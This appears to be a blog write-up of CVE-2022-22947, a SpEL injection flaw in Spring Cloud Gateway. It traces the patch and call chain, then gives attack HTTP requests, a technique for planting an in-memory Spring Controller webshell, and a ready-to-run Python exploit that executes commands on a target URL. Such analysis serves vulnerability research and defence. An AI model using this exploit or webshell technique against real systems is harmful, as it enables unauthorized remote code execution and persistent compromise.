Post

Spring Cloud Gateway Expression Injection Remote Command Execution Vulnerability Cve 2022 22947

Spring Cloud Gateway Expression Injection Remote Command Execution Vulnerability Cve 2022 22947

Spring Cloud Gateway Expression Injection Remote Command Execution Vulnerability CVE-2022-22947

Vulnerability Description

Spring Cloud Gateway is an API gateway built on Spring Framework and Spring Boot. It aims to provide a simple, effective and unified API routing management method for microservice architectures.

Recently, VMware officially released the Spring Cloud Gateway SPEL expression injection vulnerability CVE-2022-22947, which can lead to unauthorized remote command execution vulnerability:

Vulnerability Impact

Spring Cloud Gateway < 3.1.1

Spring Cloud Gateway < 3.0.7

Spring Cloud Gateway Other versions that are no longer updated

Network surveying and mapping

app=”vmware-SpringBoot-Framework”</span>

Vulnerability reappears

You can download the vulnerable version v3.1.0 from Github and then load it with idea:

img


Judging from the vulnerability notification, this is a SPEL expression injection vulnerability. Compare the patch org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue:

img

img


The new version replaced the StandardEvaluationContext in the getValue function with SimpleEvaluationContext, thus fixing SPEL expression injection.

img


Called only in the three values ​​of the enumeration value ShortcutType (DEFAULT, GATHER_LIST, GATHER_LIST_TAIL_FLAG):

img


The three calls are similar. Taking DEFAULT as an example, continue to look for the call relationship:

img

Position all the way to RouteDefinitionLocator#convertToRoute:

img


Try to extract the GatewayFilter list based on the RouteDefinition.

img


Positioning Processing Controller org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint:

img


The POST input parameter is of type RouteDefinition, which is consistent with the input parameter type of the convertToRoute function in the call chain above.

View the RouteDefinition definition:

img


Note the definition of the list-type variable FilterDefinition:

img


It is easy to construct POST test requests with reference to the definition of the RouteDefinition variable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 166

{
  "id": "id",
  "filters": [{
    "name": "123456",
    "args": {}
  }],
  "uri": "https://localhost"
}

Trigger breakpoint:

img


First, the parameters will be checked through the function validateRouteDefinition:

img


Enter the verification function isAvailable:

img

The code will verify whether the name attribute of Filter is legal, and the legal list is sorted as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class org.springframework.cloud.gateway.filter.factory.AddRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.MapRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.DedupeResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.rewrite.ModifyResponseBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.CacheRequestBodyGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PrefixPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.PreserveHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RedirectToGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveRequestParameterGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RemoveResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RetryGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetPathGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SecureHeadersGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetRequestHostHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RewriteLocationResponseHeaderGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SetStatusGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.SaveSessionGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.StripPrefixGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderToRequestUriGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestSizeGatewayFilterFactory
class org.springframework.cloud.gateway.filter.factory.RequestHeaderSizeGatewayFilterFactory


You can choose one of the GatewayFilterFactory at will, for example, use Retry to modify the request package:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /actuator/gateway/routes/123456 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 181

{
  "id": "1234567",
  "filters": [{
    "name": "Retry",
    "args": {
"a":"payload"
   }
  }],
  "uri": "https://localhost"
}


The route creation is displayed after request.

1
2
3
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close


Expression parsing is successfully triggered:

img

Weaponization 1: Command echo


Discovery through debugging that the apply function corresponding to GatewayFilter will be called when refresh routing.

img


Recalling the previous legal GatewayFilter list, we found that there is a subclass called AddResponseHeaderGatewayFilterFactory:

img

img


apply function will write configuration information into the HTTP response packet, so you can try to use AddResponseHeaderGatewayFilterFactory to construct the command echo request:

img


refresh executes a SPEL expression, writes the result to the HTTP response stream, and then accesses the created route, which can echo the result of the command execution:

img


A DELETE request can be sent to delete the created new route.

Weaponization 2: Spring Controller Memory Horse


CVE-2022-22947 is a SPEL expression injection vulnerability, and the framework is implemented based on the Spring Framework, so we consider injecting Spring memory horses through the vulnerability.

1
2
3
4
5
6
本文尝试构造Spring Controller内存马。Spring可以通过`RequestMappingHandlerMapping`来完成`@Contoller`和`@RequestMapping`注解,这里有两个比较关键的类:

`RequestMappingInfo`:一个封装类,对一次http请求中的相关信息进行封装
`HandlerMethod`:对Controller的处理请求方法的封装,里面包含了该方法所属的bean、method、参数等对象

函数`RequestMappingHandlerMapping#registerHandlerMethod`可以将Controller函数与`RequestMappingInfo`对象关联起来。首先寻找`RequestMappingHandlerMapping`对象。我们可以尝试在内存中搜索,借助`java-object-searcher`搜索,结果如下:

img

img


In addition to extracting RequestMappingInfo through Thread, by observing the code parsing SPEL expression, it is found that the object in the context environment has beanFactory:

img

img


There are 337 Bean object information, and the following code can be used to assist in printing the results:

1
2
3
for(int i = 0; i<((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray().length; i++){
    System.out.println(((DefaultListableBeanFactory) beanFactory).beanDefinitionNames.toArray()[i]);
}

img

img


Directly use the beanFactory in the SPEL online environment to obtain the RequestMappingHandlerMapping object.

img


The next process of creating a memory horse is very simple. The final effect is to inject the following custom Controller subclass into memory through SPEL expressions and complete the routing registration through the RequestMappingHandlerMapping object:

img


After constructing a new payload, the data packet is sent:

img


After refresh, the memory horse will be injected:

img


Finally, remember to send a DELETE request to delete the created route.

Vulnerability POC


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import json
import sys


def exec(url):

    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    ## command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "https://example.com",\r
      "order": 0\r
    }'''

   

    
    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    print(re3.text)


if __name__ == "__main__":
  print('''   ██████  ██      ██ ████████        ████   ████   ████   ████         ████   ████   ████     ██  ██████
  ██░░░░██░██     ░██░██░░░░░        █░░░ █ █░░░██ █░░░ █ █░░░ █       █░░░ █ █░░░ █ █░░░ █   █░█ ░░░░░░█
 ██    ░░ ░██     ░██░██            ░    ░█░█  █░█░    ░█░    ░█      ░    ░█░    ░█░█   ░█  █ ░█      ░█
░██       ░░██    ██ ░███████  █████   ███ ░█ █ ░█   ███    ███  █████   ███    ███ ░ ████  ██████     █ 
░██        ░░██  ██  ░██░░░░  ░░░░░   █░░  ░██  ░█  █░░    █░░  ░░░░░   █░░    █░░   ░░░█  ░░░░░█     █  
░░██    ██  ░░████   ░██             █     ░█   ░█ █      █            █      █        █       ░█    █   
 ░░██████    ░░██    ░████████      ░██████░ ████ ░██████░██████      ░██████░██████  █        ░█   █    
  ░░░░░░      ░░     ░░░░░░░░       ░░░░░░  ░░░░  ░░░░░░ ░░░░░░       ░░░░░░ ░░░░░░  ░         ░   ░     
 ██                   ██                 ██                              
░██       ██   ██    ░██                ░██                              
░██      ░░██ ██     ░██ ██   ██  █████ ░██  ██  ██████  ███████   █████ 
░██████   ░░███      ░██░██  ░██ ██░░░██░██ ██  ██░░░░██░░██░░░██ ██░░░██
░██░░░██   ░██    ██ ░██░██  ░██░██  ░░ ░████  ░██   ░██ ░██  ░██░███████
░██  ░██   ██    ░░  ░██░██  ░██░██   ██░██░██ ░██   ░██ ░██  ░██░██░░░░ 
░██████   ██      ██ ███░░██████░░█████ ░██░░██░░██████  ███  ░██░░██████
░░░░░    ░░      ░░ ░░░  ░░░░░░  ░░░░░  ░░  ░░  ░░░░░░  ░░░   ░░  ░░░░░░ 
usage: python3 test.py url
''')
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()

Reference article


This post is licensed under CC BY 4.0 by the author.